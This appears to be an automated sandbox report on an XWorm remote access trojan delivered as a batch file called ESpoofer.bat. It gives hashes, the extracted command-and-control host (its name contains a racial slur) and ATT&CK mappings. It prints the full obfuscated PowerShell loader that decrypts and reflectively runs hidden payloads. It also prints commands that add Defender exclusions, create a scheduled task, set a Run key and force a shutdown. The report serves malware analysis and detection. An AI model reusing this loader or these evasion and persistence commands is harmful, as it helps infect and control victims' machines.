xworm | 45613b094a63904db97d394d40574ccb60444990924fa9df1ed19dfc6d4da766

Analysis

max time kernel
119s
max time network
121s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2025 19:09

Sharing

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Reason

Machine shutdown

Report Analysis Logs

General

Target

ESpoofer.bat
Size

291KB
MD5

3726560b7e2b96b268c25f0e6ee93e87
SHA1

a80b2477598d41baca9b013df935750dc7fb35a8
SHA256

45613b094a63904db97d394d40574ccb60444990924fa9df1ed19dfc6d4da766
SHA512

7f81dd73d85f6fcf1210830f5259d22095037dce5613fc397a983a11c079cbf77c74e2464e8be461f2455354e08949c4a74439e8fc0cd2efff43ff7a034bf34a
SSDEEP

6144:4kQLbp6z5Ary1l3qgJDeKGImDRg1Y28MxBNQdyWCbY5pepzJhMfgS:4Np6lZn3qgJ/GXDR6ZfxBNKTCbjFsJ

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Attributes

Install_directory
%ProgramData%

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2208-15-0x000001FEDAFB0000-0x000001FEDAFC8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 64 IoCs

flow	pid	Process
14	2208	powershell.exe
22	2208	powershell.exe
28	2208	powershell.exe
29	2208	powershell.exe
31	2208	powershell.exe
32	2208	powershell.exe
33	2208	powershell.exe
34	2208	powershell.exe
35	2208	powershell.exe
36	2208	powershell.exe
37	2208	powershell.exe
38	2208	powershell.exe
41	2208	powershell.exe
42	2208	powershell.exe
53	2208	powershell.exe
54	2208	powershell.exe
56	2208	powershell.exe
57	2208	powershell.exe
58	2208	powershell.exe
59	2208	powershell.exe
60	2208	powershell.exe
61	2208	powershell.exe
62	2208	powershell.exe
63	2208	powershell.exe
64	2208	powershell.exe
65	2208	powershell.exe
66	2208	powershell.exe
67	2208	powershell.exe
68	2208	powershell.exe
69	2208	powershell.exe
70	2208	powershell.exe
71	2208	powershell.exe
72	2208	powershell.exe
75	2208	powershell.exe
76	2208	powershell.exe
77	2208	powershell.exe
78	2208	powershell.exe
79	2208	powershell.exe
80	2208	powershell.exe
81	2208	powershell.exe
82	2208	powershell.exe
83	2208	powershell.exe
84	2208	powershell.exe
85	2208	powershell.exe
86	2208	powershell.exe
87	2208	powershell.exe
88	2208	powershell.exe
89	2208	powershell.exe
90	2208	powershell.exe
91	2208	powershell.exe
92	2208	powershell.exe
93	2208	powershell.exe
94	2208	powershell.exe
95	2208	powershell.exe
96	2208	powershell.exe
97	2208	powershell.exe
99	2208	powershell.exe
102	2208	powershell.exe
104	2208	powershell.exe
105	2208	powershell.exe
106	2208	powershell.exe
107	2208	powershell.exe
108	2208	powershell.exe
109	2208	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2208	powershell.exe
3180	powershell.exe
4196	powershell.exe
3064	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
548	powershell.exe
456	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\ProgramData\\powershell.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "194"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3640	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2208	powershell.exe
2208	powershell.exe
3180	powershell.exe
3180	powershell.exe
4196	powershell.exe
4196	powershell.exe
3064	powershell.exe
3064	powershell.exe
548	powershell.exe
548	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	4196	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeShutdownPrivilege	1688	shutdown.exe
Token: SeRemoteShutdownPrivilege	1688	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4156	LogonUI.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4132 wrote to memory of 2208	4132	cmd.exe	84
PID 4132 wrote to memory of 2208	4132	cmd.exe	84
PID 2208 wrote to memory of 3180	2208	powershell.exe	88
PID 2208 wrote to memory of 3180	2208	powershell.exe	88
PID 2208 wrote to memory of 4196	2208	powershell.exe	90
PID 2208 wrote to memory of 4196	2208	powershell.exe	90
PID 2208 wrote to memory of 3064	2208	powershell.exe	94
PID 2208 wrote to memory of 3064	2208	powershell.exe	94
PID 2208 wrote to memory of 3640	2208	powershell.exe	99
PID 2208 wrote to memory of 3640	2208	powershell.exe	99
PID 2208 wrote to memory of 1688	2208	powershell.exe	112
PID 2208 wrote to memory of 1688	2208	powershell.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ESpoofer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ABSkg3c5RdTlVVO+LETYiwnY5IUi/Oxvvu/3j8Eh8LA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gpFC2eKYPgwT0m8KOwt5yA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BiwtT=New-Object System.IO.MemoryStream(,$param_var); $lwmkR=New-Object System.IO.MemoryStream; $GsgDc=New-Object System.IO.Compression.GZipStream($BiwtT, [IO.Compression.CompressionMode]::Decompress); $GsgDc.CopyTo($lwmkR); $GsgDc.Dispose(); $BiwtT.Dispose(); $lwmkR.Dispose(); $lwmkR.ToArray();}function execute_function($param_var,$param2_var){ $pSmqn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fxjIB=$pSmqn.EntryPoint; $fxjIB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ESpoofer.bat';$MmrVi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ESpoofer.bat').Split([Environment]::NewLine);foreach ($LjtcW in $MmrVi) { if ($LjtcW.StartsWith(':: ')) { $MhzlL=$LjtcW.Substring(3); break; }}$payloads_var=[string[]]$MhzlL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3640
- - C:\Windows\SYSTEM32\shutdown.exe
    shutdown.exe /f /s /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1688

C:\ProgramData\powershell.exe
C:\ProgramData\powershell.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38c6855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4156

C:\ProgramData\powershell.exe
C:\ProgramData\powershell.exe
1⤵
- Executes dropped EXE
PID:456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cae60f0ddddac635da71bba775a2c5b4

SHA1
386f1a036af61345a7d303d45f5230e2df817477

SHA256
b2dd636b7b0d3bfe44cef5e1175828b1fa7bd84d5563f54342944156ba996c16

SHA512
28ed8a8bc132ef56971cfd7b517b17cdb74a7f8c247ef6bff232996210075e06aa58a415825a1e038cfb547ad3dc6882bf1ca1b68c5b360ef0512a1440850253

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vvhs0lfc.ziv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/548-76-0x000001A6AA200000-0x000001A6AA276000-memory.dmp

Filesize
472KB

Download
memory/548-75-0x000001A6A9F30000-0x000001A6A9F74000-memory.dmp

Filesize
272KB

Download
memory/2208-54-0x00007FFCC01E3000-0x00007FFCC01E5000-memory.dmp

Filesize
8KB

Download
memory/2208-12-0x00007FFCC01E0000-0x00007FFCC0CA1000-memory.dmp

Filesize
10.8MB

Download
memory/2208-79-0x00007FFCC01E0000-0x00007FFCC0CA1000-memory.dmp

Filesize
10.8MB

Download
memory/2208-6-0x000001FEDAEE0000-0x000001FEDAF02000-memory.dmp

Filesize
136KB

Download
memory/2208-11-0x00007FFCC01E0000-0x00007FFCC0CA1000-memory.dmp

Filesize
10.8MB

Download
memory/2208-15-0x000001FEDAFB0000-0x000001FEDAFC8000-memory.dmp

Filesize
96KB

Download
memory/2208-14-0x000001FEF3170000-0x000001FEF31A8000-memory.dmp

Filesize
224KB

Download
memory/2208-13-0x000001FEDAFA0000-0x000001FEDAFA8000-memory.dmp

Filesize
32KB

Download
memory/2208-0-0x00007FFCC01E3000-0x00007FFCC01E5000-memory.dmp

Filesize
8KB

Download
memory/2208-55-0x00007FFCC01E0000-0x00007FFCC0CA1000-memory.dmp

Filesize
10.8MB

Download
memory/2208-64-0x000001FEDAF10000-0x000001FEDAF1C000-memory.dmp

Filesize
48KB

Download
memory/3180-25-0x00007FFCC01E0000-0x00007FFCC0CA1000-memory.dmp

Filesize
10.8MB

Download
memory/3180-30-0x00007FFCC01E0000-0x00007FFCC0CA1000-memory.dmp

Filesize
10.8MB

Download
memory/3180-27-0x00007FFCC01E0000-0x00007FFCC0CA1000-memory.dmp

Filesize
10.8MB

Download
memory/3180-26-0x00007FFCC01E0000-0x00007FFCC0CA1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads